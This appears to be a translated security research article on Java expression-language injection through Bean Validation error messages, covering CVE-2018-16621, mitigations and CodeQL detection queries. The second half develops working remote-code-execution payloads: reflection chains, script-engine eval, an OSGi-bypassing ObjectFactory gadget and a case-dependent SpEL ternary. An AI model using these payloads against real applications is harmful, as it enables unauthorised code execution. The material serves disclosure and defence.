在本文中,我们将以Nexus Repository Manager 3中的一个Java表达式语言注入漏洞(CVE-2018-16621)为例,共同进行一次神奇的研究。我们首先详细分析CVE-2018-16621漏洞,然后分析如何利用该漏洞来打开蠕虫病毒的盒子。
在我们阅读大量CVE漏洞描述,并寻找一些值得关注的漏洞来进行变体分析的过程中,有一个Nexus Repository Manager 3的Java注入漏洞(CVE-2018-16621)引起了我的注意。当然,其他利用了Java表达式语言注入的漏洞也都被我们重点关注。在这个漏洞的描述中,并没有说清楚导致漏洞的根本原因,但其中包含一些值得关注的描述,包括:
“在Nexus Repository Manager 3中发现了一个Java表达式语言注入漏洞。”
以及:
“我们通过以适当方式清理用户输入来实现针对该漏洞的缓解。”
这里的问题是表达式语言(EL)注入,并且其修复方法并不是通过阻止注入或将EL引擎沙箱化来实现的,而是通过清理输入来解决,而这种修复方式可能会导致一些绕过。该漏洞由ERNW GmbH的Dominik Schneider和Till Osswald报告,并且目前网上有一些可用的PoC。我可以使用这些PoC触发该漏洞,并使用调试器对其进行分析。通过分析,我们很快就知道该漏洞的根本原因是用户控制器Java Bean的属性之一(来自HTTP请求)被串联到Bean验证错误消息中,随后会处理该消息,并且所有EL表达式都会被插入(插值)到最终的消息中。如果攻击者能够控制部分EL表达式,那么就可能导致远程代码执行。实际上,当我们验证某项内容时,通常意味着所验证的内容是不受信任的,因此该模式可以轻松地暴露很多使用Java Bean验证(JSR 380)的应用程序,如果满足下述条件,则会导致远程代码执行:
1、使用JSR 380并实现了自定义的验证器;
2、验证用户控制的Bean(例如:Bean是从JAXRS或Spring控制器中的HTTP请求绑定的);
3、在验证错误中返回了一个Bean属性(例如:(<USER INPUT>) is not a valid email address)。
这些条件看起来非常容易满足,因此我决定更加深入地研究Bean验证规范和实现。
Bean验证(JSR 380)的逻辑非常简单:进行一次约束,然后在各种地方进行验证。通过简单地注释要验证的类和字段,内置验证器和自定义验证器可以在用用程序的不同部分(例如:表示层或持久层)强制执行验证。
接下来,让我们看一个简单的用例,一个Spring Boot应用程序,它想要验证接收到的对象是否符合某些约束:
@RestController class ValidateRequestBodyController { @PostMapping("/validateBody") ResponseEntity<String> validateBody(@Valid @RequestBody Input input) { return ResponseEntity.ok("valid"); } }
输入定义为:
class Input { @Min(1) @Max(10) private int numberBetweenOneAndTen; @Pattern(regexp = "^[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}$") private String ipAddress; // ... }
现在,每次/validatedBody终端在接收到HTTP请求时,都会将其主体解组到 Input
类的实例中,并且由于 @Valid
注释,它将验证该对象并确保遵守所有约束。在这种情况下,它将会验证 numberBetweenOneAndTen
是否为 @Min(1)
和 @Max(10)
之间的数字,并且 ipAddress
值与 @Pattern
注解定义的正则表达式是否匹配。
如果我们需要使用一些内置约束中不包含的约束怎么办?针对这种情况,我们可以定义自己的自定义验证器。我们来看一个例子,例如要检查 bean
属性是小写还是大写:
public class CheckCaseValidator implements ConstraintValidator<CheckCase, String> { private CaseMode caseMode; @Override public void initialize(CheckCase constraintAnnotation) { this.caseMode = constraintAnnotation.value(); } @Override public boolean isValid(String object, ConstraintValidatorContext constraintContext) { if ( object == null ) { return true; } boolean isValid; String message = object; if ( caseMode == CaseMode.UPPER ) { isValid = object.equals( object.toUpperCase() ); message = message + " should be in upper case." } else { isValid = object.equals( object.toLowerCase() ); message = message + " should be in lower case." } if ( !isValid ) { constraintContext.disableDefaultConstraintViolation(); constraintContext.buildConstraintViolationWithTemplate(message) .addConstraintViolation(); } } }
现在,我们可以使用 @CheckCase(CaseMode.UPPER)
来注解字段,以验证它是否符合预期。但是,在稍后对错误信息进行处理和插值时,会出现问题。
通过阅读JSR 380规范,我们发现消息插值器负责将通过约束注释的 message
属性,或通过 buildConstraintViolationWithTemplate
API,将消息模板转换为完全扩展、人类可读的错误消息。这里的插值被定义为“将不同性质的东西插入其他地方”。在这种情况下,会将 Message
和 Expression
参数插入到消息模板中。消息参数和表达式是分别包含在 {}
和 ${}
中的字符串文字,将在插值之前对其进行求值。
参数插值({})仅执行替换操作,通常是在classpath resource bundle中执行。这对于本地化来说很有帮助。即使攻击者可以控制替换的密钥,也不会对应用程序产生任何威胁。
但另一方面,表达式插值(${})是完全不同的洪水猛兽,因为它们将会由Jakarta表达式语言引擎进行评估。因此,如果由攻击者控制的 bean
属性通过验证后反映到了错误消息中,那么攻击者将可以提供一个EL表达式,而这个表达式很可能就会导致任意代码执行。
有几种方法可以防范该问题:
1、最简单的选择是,在自定义违规消息中不包含已验证的 bean
属性。这种方法可以解决当前存在的问题,但不能阻止后续引入的漏洞。
2、在将经过验证的 bean
属性添加到自定义违规消息之前,首先对其进行清理。但遗憾的是,我们在 Hibernate Validator
中发现了几个漏洞,这些漏洞会导致无效的表达式可以被视为有效。因此,我们的清理过程也需要考虑无效的语法,因为它们可能导致该方法出错。而这也正是让我们能够绕过CVE-2018-16621漏洞缓解措施以及DropWizard初始缓解措施的漏洞。如果你选择采取这种方式,请确保使用了一种强大的清理逻辑。需要注意的是,我们不应该直接使用这个类,而应该将其作为一个比较好的示例。内部软件包中的所有内容都不是API。
3、完全禁用EL插值,仅使用参数插值。默认验证提供程序将同时使用参数插值器和表达式插值器,但我们可以通过仅显式注册一个 ParameterMessageInterpolator
参数来覆盖这种行为:
Validator validator = Validation.byDefaultProvider() .configure() .messageInterpolator( new ParameterMessageInterpolator() ) .buildValidatorFactory() .getValidator();
4、在Bean验证规范中包含不同的实现。尽管Hibernate是其中的一个参考实现(RI),但是在Apache BVal中也实现了该规范,在其最新版本中,默认情况下不会插值EL表达式。我们认为这种替换可能不是简单的直接替换,因为并非Hibernate提供的所有内置约束验证器都在Apache实现中实现。
5、使用参数化的消息模板,而不是字符串串联。在这一过程中,应始终使用
HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class ); context.addExpressionVariable("userPovidedValue", tainted ); context.buildConstraintViolationWithTemplate( "My violation message contains an expression variable ${userPovidedValue}").addConstraintViolation();
为此,不要使用 Message
参数:
HibernateConstraintValidatorContext context = constraintValidatorContext.unwrap( HibernateConstraintValidatorContext.class ); context.addMessageParameter("userPovidedValue", tainted); context.buildConstraintViolationWithTemplate( "DONT DO THIS!! My violation message contains a parameter {userPovidedValue}").addConstraintViolation();
参数和表达式插值是以菊花链方式连接(daisy chained)的:
// there's no need for steps 2-3 unless there's `{param}`/`${expr}` in the message if ( resolvedMessage.indexOf( '{' ) > -1 ) { // resolve parameter expressions (step 2) resolvedMessage = interpolateExpression( new TokenIterator( getParameterTokens( resolvedMessage, tokenizedParameterMessages, InterpolationTermType.PARAMETER ) ), context, locale ); // resolve EL expressions (step 3) resolvedMessage = interpolateExpression( new TokenIterator( getParameterTokens( resolvedMessage, tokenizedELMessages, InterpolationTermType.EL ) ), context, locale ); }
因此,Payload将首先由参数插值器替换为消息模板,并且所得到的模板将会为表达式插值器求值。
要使用CodeQL的数据流分析功能查找这些漏洞,我们需要定义 TaintTracking
配置。这个思路在于使用CodeQL来查找我们感兴趣的Source、Taint Step、Sanitizer和Sink。在数据流分析的上下文中,Source是污染数据(Tainted Data)的来源,而Sink是污染数据的终点。
污染数据的来源是 javax.validation.ConstraintValidator.isValid(0)
方法的任何实现。我们可以使用以下方法对其进行建模:
class TypeConstraintValidator extends RefType { TypeConstraintValidator() { hasQualifiedName("javax.validation", "ConstraintValidator") } } class ConstraintValidatorIsValidMethod extends Method { ConstraintValidatorIsValidMethod() { exists(Method m | m.hasName("isValid") and m.getDeclaringType() instanceof TypeConstraintValidator and this = m.getAPossibleImplementation() ) } } class InsecureBeanValidationSource extends RemoteFlowSource { InsecureBeanValidationSource() { exists(ConstraintValidatorIsValidMethod m | this.asParameter() = m.getParameter(0) ) } override string getSourceType() { result = "Insecure Bean Validation Source" } }
请注意,这里的Source将从验证的Bean或Bean属性开始污染跟踪分析,但没有证据表明攻击者可以实际控制这些属性。为了做到这一点,我们应该确保Bean是由攻击者控制的对象图的成员(例如:从HTTP请求解组的Bean)。这超出了当时编写的查询范围。
Sink应该是 javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate()
的第一个参数,我们可以使用以下CodeQL类进行建模:
class TypeConstraintValidatorContext extends RefType { TypeConstraintValidatorContext() { hasQualifiedName("javax.validation", "ConstraintValidatorContext") } } class BuildConstraintViolationWithTemplateMethod extends Method { BuildConstraintViolationWithTemplateMethod() { hasName("buildConstraintViolationWithTemplate") and getDeclaringType().getASupertype*() instanceof TypeConstraintValidatorContext } } class BuildConstraintViolationWithTemplateSink extends DataFlow::ExprNode { BuildConstraintViolationWithTemplateSink() { exists(MethodAccess ma | asExpr() = ma.getArgument(0) and ma.getMethod() instanceof BuildConstraintViolationWithTemplateMethod ) } }
验证器尝试调用某种方法来执行验证,Exception消息经常会作为验证错误消息之中的一部分:
try { validate(tainted); } catch(Exception e) { context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation(); }
为了跟踪从污染值到异常消息的数据流,我们需要对引发异常的代码进行建模。为此,我们可以为 TaintTracking
配置一个额外的污染步骤,该步骤会将参数连接到 try
块中的任何 throwing-exception
方法调用,下面是在catch块中对任何类型匹配的异常变量进行 getMessage
、 getLocalizedMessage
或 toString
方法调用的结果:
class ExceptionMessageMethod extends Method { ExceptionMessageMethod() { ( hasName("getMessage") or hasName("getLocalizedMessage") or hasName("toString") ) and getDeclaringType().getASourceSupertype*() instanceof TypeThrowable } } class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep { override predicate step(Node n1, Node n2) { exists(Call call, TryStmt t, CatchClause c, MethodAccess gm | call.getEnclosingStmt().getEnclosingStmt*() = t.getBlock() and t.getACatchClause() = c and ( call.getCallee().getAThrownExceptionType().getASubtype*() = c.getACaughtType() or c.getACaughtType().getASupertype*() instanceof TypeRuntimeException ) and c.getVariable().getAnAccess() = gm.getQualifier() and gm.getMethod() instanceof ExceptionMessageMethod and n1.asExpr() = call.getAnArgument() and n2.asExpr() = gm ) } }
现在,我们就可以完成 TaintTracking
配置了:
class BeanValidationConfig extends TaintTracking::Configuration { BeanValidationConfig() { this = "BeanValidationConfig" } override predicate isSource(Node source) { source instanceof InsecureBeanValidationSource } override predicate isSink(Node sink) { sink instanceof BuildConstraintViolationWithTemplateSink } }
运行以上查询,我们能够找到多个在LGTM.com中的易受攻击的应用程序,包括:
Sonatype Nexus( https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype)
Sonatype Nexus( https://securitylab.github.com/advisories/GHSL-2020-012-nxrm-sonatype)
Netflix Titus( https://securitylab.github.com/advisories/GHSL-2020-028-netflix-titus)
Netflix Conductor( https://securitylab.github.com/advisories/GHSL-2020-027-netflix-conductor)
DropWizard( https://securitylab.github.com/advisories/GHSL-2020-030-dropwizard)
Apache Syncope( https://securitylab.github.com/advisories/GHSL-2020-029-apache-syncope)
[Spring XD](产品在2017年停止生命周期支持,因此未做修复)
利用EL注入时,我们首先尝试标准的Payload:
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
或者:
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
这两种方式都是使用Java Reflection API来获取 java.lang.Class
实例,然后使用其 Class.forName()
方法来获取任意类的实例,之后可以实例化并与之交互。这些Payload非常简单可靠,有90%的概率可以正常工作。但是,我们还想要挑战剩下的10%。
下面是我在编写PoC时,发现其中存在的限制,并展示了如何解决这些限制问题的过程。
在我针对其中一个受影响的项目编写PoC时,我得到了“cannot reproduce”的响应。这个PoC不适用于该项目,因为这个项目使用了不同的Servlet容器和EL引擎,开发人员声称这一点能增强项目的安全性。运行PoC后,会得到以下异常:
javax.el.ELException: The identifier [class] is not a valid Java identifier as required by section 1.19 of the EL specification (Identifier ::= Java language identifier). This check can be disabled by setting the system property org.apache.el.parser.SKIP_IDENTIFIER_CHECK to true.
这个异常是由Tomcat Jasper EL实现抛出的,该实现不支持访问类标识符,因为 java.lang.Class
中不包含此类字段。我们仍然可以使用 getClass()
,这样就可以成功运行PoC,并且实现有效的预认证远程代码执行。
在测试Payload时,我们可能会收到异常,例如“java.lang.IllegalArgumentException: wrong number of arguments”。对这个错误的分析表明,这是由于EL规范的不完全实施引起的。具体来说,J2EE EL中没有实现对 VarArgs
的支持:
Object[] parameters = null; if (parameterTypes.length > 0) { if (m.isVarArgs()) { // TODO } else { parameters = new Object[parameterTypes.length]; for (int i = 0; i < parameterTypes.length; i++) { parameters[i] = context.convertToType(params[i], parameterTypes[i]); } } } try { return m.invoke(base, parameters); }
关注其中的// TODO注释。由于参数将保持为空,因此 m.invoke()
调用将收到一个空参数,这将会导致异常。
这是一个烦人的问题,因为它阻止了调用以 VarArgs
作为参数的方法,其中包括:
java.lang.reflect.Method.invoke(Object obj, Object... args)
java.lang.reflect.Constructor.newInstance(java.lang.Object...)
这一限制将阻止 Runtime
和 ProcessBuilder
Payload,因为我们需要使用 Method.invoke
调用静态方法,或使用 Constructor.newInstance
调用非默认构造函数。实例化任意类的唯一选择是使用 java.lang.Class.newInstance()
,这让我们可以调用默认构造函数(无参数)。我们可以用来运行任意代码并且具有无参数构造函数的类是 javax.script.ScriptEngineManager
:
''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(<JS PAYLOAD>);
需要注意的是,JavaScript引擎也许会不可用,但可以安装其他引擎。我们可以使用 ScriptEngineManager.getEngineFactories()
找到可能使用的引擎。例如,在某个应用程序中,只有Groovy引擎可以使用:
''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')
对于我们来说,作为攻击者的角色,易受攻击的应用程序正在使用OSGi,但我们获得执行权限的捆绑软件却无法访问 javax.script.ScriptEngineManager
和任何其他javax类。这个问题是否可以解决呢?
OSGi是Java的动态模块引擎。基本上,这可以帮助我们在不同模块中分隔应用程序,这将彼此独立地加载类。也就是说,我们可以拥有一个需要 dependecy-foo:1.0
的模块,以及另一个需要相同库但版本为0.5的模块。使用OSGi,就完全可能实现这一点。尽管减少小工具空间并不是OSGi或Jigsaw的目标之一,但二者都非常有用,因为它们将大大减少攻击者可以用于实现远程代码执行的类。
在OSGi中,类加载通常与捆绑类加载器隔离,这打破了依赖于父委托的标准Java类加载器机制,也就是说,类加载器将首先检查父类加载器是否能够加载请求的类,然后再尝试自己加载。在OSGi中,仍然可以通过启动委派(Boot Delegation)来实现。属于 org.osgi.framework.bootdelegation
属性中列出的任何软件包的任何类,都将由OSGi的引导类加载器进行处理。
在这个特定应用程序中,其值为:
com.sun.* javax.transaction.* javax.xml.crypto.* jdk.nashorn.* sun.* jdk.internal.reflect.* org.apache.karaf.jaas.boot.*
其中的 jdk.nashorn
看起来很有希望,因为我们应该可以获得 jdk.nashorn.api.scripting.NashornScriptEngine
类的实例。遗憾的是,它的构造函数是私有的。另外,由于我使用的是Java 8u232,因此 jdk.internal.reflect
在我的目标应用程序中是不可用的。
属于OSGi bootdelegation
属性中指定包的任何类都将由Bootstrap类加载器加载,这意味着它将对所有Javax类(包括ScriptEngineManager)具有可见性。
我们的思路是,在进行类加载和实例化的包中,找到一个理想的类。而CodeQL可以实现这一点!
我们可以编写一个查询,寻找满足以下条件的方法:
1、声明类是公共的,并且具有公共的默认构造函数,因此我们可以使用 Class.newInstance()
对其实例化;
2、声明类属于任何一种启动委派的命名空间;
3、方法采用一个String参数,该参数传入一个类的加载方法(例如 Class.forName()
或 ClassLoader.loadClass()
),并且所加载的类传入 Constructor.newInstance()
或 Class.newInstance()
;
4、方法返回一个 java.lang.Object
;
5、方法是公开的。
/** * @kind path-problem * @id java/new_instance_gadget */ import java import semmle.code.java.dataflow.TaintTracking import DataFlow import DataFlow::PathGraph class GetConstructorStep extends TaintTracking::AdditionalTaintStep { override predicate step(Node n1, Node n2) { exists(MethodAccess ma | ma .getMethod() .getDeclaringType() .getASupertype*() .getSourceDeclaration() .hasQualifiedName("java.lang", "Class") and ( ma.getMethod().hasName("getConstructor") or ma.getMethod().hasName("getConstructors") or ma.getMethod().hasName("getDeclaredConstructor") or ma.getMethod().hasName("getDeclaredConstructors") ) and ma.getQualifier() = n1.asExpr() and ma = n2.asExpr() ) } } class ForNameStep extends TaintTracking::AdditionalTaintStep { override predicate step(Node n1, Node n2) { exists(MethodAccess ma | ma .getMethod() .getDeclaringType() .getASupertype*() .getSourceDeclaration() .hasQualifiedName("java.lang", "Class") and ma.getMethod().hasName("forName") and ma.getArgument(0) = n1.asExpr() and ma = n2.asExpr() ) } } class LoadClassStep extends TaintTracking::AdditionalTaintStep { override predicate step(Node n1, Node n2) { exists(MethodAccess ma | ma .getMethod() .getDeclaringType() .getASupertype*() .hasQualifiedName("java.lang", "ClassLoader") and ma.getMethod().hasName("loadClass") and ma.getArgument(0) = n1.asExpr() and ma = n2.asExpr() ) } } class ConstructorNewInstanceMethod extends Method { ConstructorNewInstanceMethod() { this .getDeclaringType() .getASupertype*() .getSourceDeclaration() .hasQualifiedName("java.lang.reflect", "Constructor") and this.hasName("newInstance") } } class ClassNewInstanceMethod extends Method { ClassNewInstanceMethod() { this .getDeclaringType() .getASupertype*() .getSourceDeclaration() .hasQualifiedName("java.lang", "Class") and this.hasName("newInstance") } } class PublicClass extends RefType { PublicClass() { // public so we can instantiate it this.isPublic() and // public default constructor exists(Constructor c | this.getAConstructor() = c and c.isPublic() and c.getNumberOfParameters() = 0 ) } } class BootDelegatedClass extends RefType { BootDelegatedClass() { exists(string name | name = this.getPackage().getName() and ( name.matches("com.sun.%") or name.matches("javax.transaction.%") or name.matches("javax.xml.crypto.%") or name.matches("jdk.nashorn.%") or name.matches("sun.%") or name.matches("jdk.internal.reflect.%") or name.matches("org.apache.karaf.jaas.boot.%") ) ) } } class NewInstanceConfig extends TaintTracking::Configuration { NewInstanceConfig() { this = "Flow from Method parameter to newInstance" } override predicate isSource(DataFlow::Node source) { exists(Method m | // BootDelegated so can load system classes m.getDeclaringType() instanceof BootDelegatedClass and // Public so we can get an instance with Class.newInstance() m.getDeclaringType() instanceof PublicClass and // public method m.isPublic() and // Parameter is source exists(Parameter p | p = source.asParameter() and p = m.getAParameter() and p.getType().(RefType).hasQualifiedName("java.lang", "String") ) and m.getReturnType().(RefType).hasQualifiedName("java.lang", "Object") ) } override predicate isSink(DataFlow::Node sink) { exists(MethodAccess ma | ( ma.getMethod() instanceof ClassNewInstanceMethod or ma.getMethod() instanceof ConstructorNewInstanceMethod ) and sink.asExpr() = ma.getQualifier() ) } } from NewInstanceConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink where cfg.hasFlowPath(source, sink) select source, source, sink, "instances new objects"
查询JDK代码库,并过滤结果,我们得到了三个返回的实例:
com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, ClassLoader cl, boolean doFallback)
com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)
com.sun.org.apache.xalan.internal.utils.ObjectFactory.newInstance(String className, boolean doFallback)
这些都是比较方便的小工具,我们可以使用它们来实例化引导类加载器可见的任意类。现在,我们可以将Payload写成:
${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned")')}
但是,我们得到的却是:
javax.el.ELException: java.lang.IllegalArgumentException: Cannot convert Runtime.getRuntime().exec("touch /tmp/pwned") of type class java.lang.String to class java.io.Reader
问题在于,当该方法重载时,EL将始终获取第一个重载。在这种情况下,它将会接受一个 java.io.Reader
。我们可以改用 eval(String, ScriptContext)
重载:
${validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.ScriptEngineManager', true).getEngineByName('groovy').eval('Runtime.getRuntime().exec("touch /tmp/pwned2")', validatedValue.class.forName('com.sun.org.apache.xerces.internal.utils.ObjectFactory').newInstance().newInstance('javax.script.SimpleScriptContext', true))}
最后,我们终于得到了远程代码执行!
在另一个项目中,我发现有一处注入似乎是可以利用的。使用我控制的Payload,附加调试器会在 buildConstraintViolationWithTemplate
Sink的位置停止。但是,即使改用像 ${1+1}
这样简单的Payload,最终却都会执行失败。
经过一些额外进行的调试之后,我发现该应用程序安装了一个自定义的EL插值器,在这种情况下,使用了一个不同的表达式定界符( #{}
替代了原来的 ${}
):
validator = Validation.buildDefaultValidatorFactory() .usingContext() .constraintValidatorFactory(new ConstraintValidatorFactoryWrapper(verifierMode, applicationValidatorFactory, spelContextFactory)) .messageInterpolator(new SpELMessageInterpolator(spelContextFactory)) .getValidator();
那么,将 ${1+1}
替换为 #{1+1}
,我们就可以继续执行远程代码执行Payload。
在同一个应用程序上,我又发现了另外一个问题。针对同一个属性会有两个验证,第一个是将Payload转换为小写字母,例如 #{''.class.forName(...)}
将会转换为 #{''.class.forname(...)}
。由于Java是区分大小写的,因此Payload将会引发异常。第二个验证器会将未修改的Payload传递给 buildConstraintViolationWithTemplate
Sink,因此我可以滥用这一点。唯一的问题在于,如果 Bean
属性在第一个验证器(小写验证器)中引发异常,那么它将永远不会到达第二个验证器(易受攻击的验证器)。
所以,我们就需要一个全部是小写字母的远程代码执行Payload,该Payload将由第一个验证器执行,或者通过第一个验证器而不会引发异常,然后触发第二个验证器。我选择了第二种方法,并设计了一个动态EL表达式,该表达式在不同验证器下的行为会有所不同。后来我发现,全部小写的远程代码执行Payload也是可行的,但这种动态Payload的想法听起来会更加有趣一些。
首先,我们的Payload需要区分是由第一个还是第二个验证器进行验证。这非常容易,因为SpEL目标对象对于每种情况来说都是不同的。第一个是 com.google.common.collect.SingletonImmutableBiMap
的实例,而第二个则是以 com.net
开头的实例。
下一步就是获得动态行为,以便Payload在不同验证过程中的行为会有所不同。我的实现方式是使用SpEL三元运算符 boolean expr ? A : B
。请注意,如果选择了A分支,那么B分支将不会执行。这意味着,我们可以将Payload放在B上,在转换为小写的过程中,它将不会被执行, 所以不会出现无效的Java代码。最终Payload如下:
#{#this.class.name.substring(0,5) == 'com.g' ? 'FOO' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA=='))).class.name}
第一个验证器将会检查小写字母 #this.class.name.substring(0,5) == 'com.g'
表达式,由于它将判断为true,因此会采用第一个分支,并返回foo(小写)。在这里,不会检查第二个分支,因此该分支中的任何无效代码都将被跳过,并且不会引发异常。
第二个验证器将执行相同的检测,但是在这种情况下,如果if表达式的结果为false,则代码将跳转到第二个分支,这次将不会转换大小写,因此它能够完美执行远程代码控制Payload。
Bean Validation是一个出色的工具,可以帮助开发人员在整个应用程序生命周期中验证数据。但遗憾的是,自定义验证器如果没有正确实施,可能会带来严重的风险。并且,有两个因素会增加受到攻击的可能性:
(1)设计验证的Bean通常不受信任;
(2)默认情况下会对EL表达式进行检测,除非我们禁用,或将其参数化。
我们向众多OSS项目分别报告了许多漏洞,但可能还有我们遗漏掉的OSS项目,并且可能还有很多闭源应用程序容易受到Bean Validation驱动的SSTI攻击。因此,我们预计在接下来的几个月内还会发现一系列问题,例如VMWare Cloud中存在的漏洞。